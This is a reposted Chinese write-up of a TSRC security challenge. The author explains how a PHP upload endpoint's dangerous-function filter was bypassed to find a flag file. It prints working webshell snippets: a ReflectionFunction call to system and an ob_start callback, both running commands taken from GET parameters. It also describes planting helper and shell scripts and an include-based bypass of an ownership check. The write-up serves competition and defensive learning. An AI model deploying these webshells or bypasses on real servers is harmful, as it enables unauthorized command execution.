热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

TSRC挑战赛:PHP防御绕过挑战实录

前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件,但限制了大部分危险的PHP函数,比如system、scandir、eval等。在服务器上放置了一个flag文件,目标是通过上传的PHP文件找

前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找

前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找到该flag文件。

毕竟这是一场比赛,而且如果排名考前,还有丰厚的奖励。根据规则, 相同的利用方式以第一个提交的算分。正所谓先下手为强,所以在挑战刚开始后,就马上拿出自己珍藏多年的秘密武器,——PHP反射,相关内容可参考:

http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。

简单使用方法如下:


$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

上面的php代码等价于


echo system($_GET[c]);
?>

首战告捷!第一个shell上传成功,并非常顺利的在目标服务器找到flag文件。顺利拿到5分。

大招使完以后, 后面的日子就不好过了。

最开始想到的就是利用各种变形,快追平孙猴子的72般变化了。变了几天以后,还是没有进展。

此时开始反思,危险函数的调用检测是如何实现的?如果在函数的实现层做检测,不管怎么变形,都会殊途同归,继续变下去是没有任何意义的。

回到前面ReflectionFunction的利用,成功的执行了system函数,有力的说明访问system函数并非只有一条路可走。

除了反射外, php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php

简单利用如下:


$cb= 'system';
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

上面代码等价于


system($_GET[c]);
?>

这样,第二次成功绕过危险函数的检查,并成功执行命令。

php中支持callback的函数还有很多,比如
array_map,array_filter, array_reduce
usort(),uksort()
array_walk()等

比如,@BlackYe同学就使用了支持回调的array_diff_ukey

还有xml解析相关的多个函数也支持callback,只不过传递给回调函数的第一个参数为xml解析对象, 没有合适的利用场景。

前面利用PHP中两种不同的实现达到了调用system函数执行系统命令的目的,由于没有直接使用PHP中的system函数,从而绕过防护系统的检查,成功执行系统命令。

那还有没有第三种方法可以绕过呢?

要想绕过,必须弄清楚是如何实现的(或者说要是自己实现这样的一个系统,会采用什么样的方法)。

接下来就需要通过猜想,提出假设,并逐步验证自己的想法。

1. 为了便于操作和验证,前期做了一些准备。因为每次上传后的文件名是不同的,也就是利用上传在服务器上的固定目录创建几个包含常用功能的PHP脚本。大致包括:

1) copy.php 用于文件复制和移动;
2) sql.php 用于数据库操作;
3) read.php 用于读取文件内容, 主要用于确认上传的文件内容是否正确;
4) stat.php用于获取文件或目录的用户权限和读写权限;
5) shell.php 用于调用其他php函数。

2. 准备完这些工具以后, 开始猜测检测原理

疑问1:是否允许执行危险函数与文件所在目录有关呢?

因为上传后的文件所在目录是固定的, 所以首先猜想是否与目录有关。于是,利用先前上传的几个PHP工具, 在已正常运行WEB应用的目录下找到可写的目录, 并将上传的PHP文件移动到该目录, 结果以失败告终。

疑问2:是否设置了白名单,后续上传的文件都不允许执行危险的PHP函数?

将shell写入WEB应用已有的文件中。拿下后台, 并将shell写入到WEB应用已有的代码文件中. 结果还是失败了

疑问3:某些函数禁用了,已经搭建好的应用是否受影响呢?

对应用的代码做了一番审计,找到使用了被禁用的PHP函数的代码部分,发现功能并不受
影响。就是说服务器已有代码并没有经过修改且运行正常。而新上传或者被修改过的文件,危险函数就会被禁用

疑问4:区别在哪里?

用准备好的脚本stat.php列举了已有PHP文件和新上传PHP文件的文件权限,发现权限不同。

疑问5:服务器对PHP函数中的危险函数的检查,是否是判断调用这些函数的PHP文件属主?

方法一:
比如已安装WEB应用中的代码中存在b.php include a.php的代码,将shell写入a.php中,通过访问WEB应用b.php,
发现a.php中写入的shell代码并没有执行。
说明判断文件的属主是直接调用危险函数的文件

方法二:
通过上传入口,上传a.php, 在a.php中includeb.php, b.php是WEB应用已有的代码,并调用了危险函数(如system)。
利用代码如下:


define('IN_DISCUZ', 1);
define('IN_MODCP', 1);
define('DISCUZ_ROOT', '/tmp/');
chdir('../upload/');
$_G['cache']['forums'] = 1;
$_G['page'] = 1;
$_GET['keyword']="xxxxxx";
$cpscript="";
 
function lang($in){
    return $in;
}
 
function multi($in1, $in2, $in3, $in4){
    return null;
}
 
function dhtmlspecialchars($in) {
    return $in;
}
 
include "source/include/modcp/modcp_log.php";
$dir=$_GET[dir];
$ext=$_GET[ext];
var_dump(get_log_files($dir, $ext));
?>

执行成功,再一次拿到5分。

以上是本人参加这次挑战赛作为攻方如何绕过防御的一些经验分享,有不足的地方请见谅,如有任意疑问或建议欢迎联系TSRC白帽子“雪人”切磋交流。期待未来有更多的机会参与这种对抗赛。

推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 本文介绍了在SpringBoot中集成thymeleaf前端模版的配置步骤,包括在application.properties配置文件中添加thymeleaf的配置信息,引入thymeleaf的jar包,以及创建PageController并添加index方法。 ... [详细]
  • 本文介绍了使用PHP实现断点续传乱序合并文件的方法和源码。由于网络原因,文件需要分割成多个部分发送,因此无法按顺序接收。文章中提供了merge2.php的源码,通过使用shuffle函数打乱文件读取顺序,实现了乱序合并文件的功能。同时,还介绍了filesize、glob、unlink、fopen等相关函数的使用。阅读本文可以了解如何使用PHP实现断点续传乱序合并文件的具体步骤。 ... [详细]
  • 本文详细介绍了在ASP.NET中获取插入记录的ID的几种方法,包括使用SCOPE_IDENTITY()和IDENT_CURRENT()函数,以及通过ExecuteReader方法执行SQL语句获取ID的步骤。同时,还提供了使用这些方法的示例代码和注意事项。对于需要获取表中最后一个插入操作所产生的ID或马上使用刚插入的新记录ID的开发者来说,本文提供了一些有用的技巧和建议。 ... [详细]
  • Java验证码——kaptcha的使用配置及样式
    本文介绍了如何使用kaptcha库来实现Java验证码的配置和样式设置,包括pom.xml的依赖配置和web.xml中servlet的配置。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
author-avatar
罗群霞
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有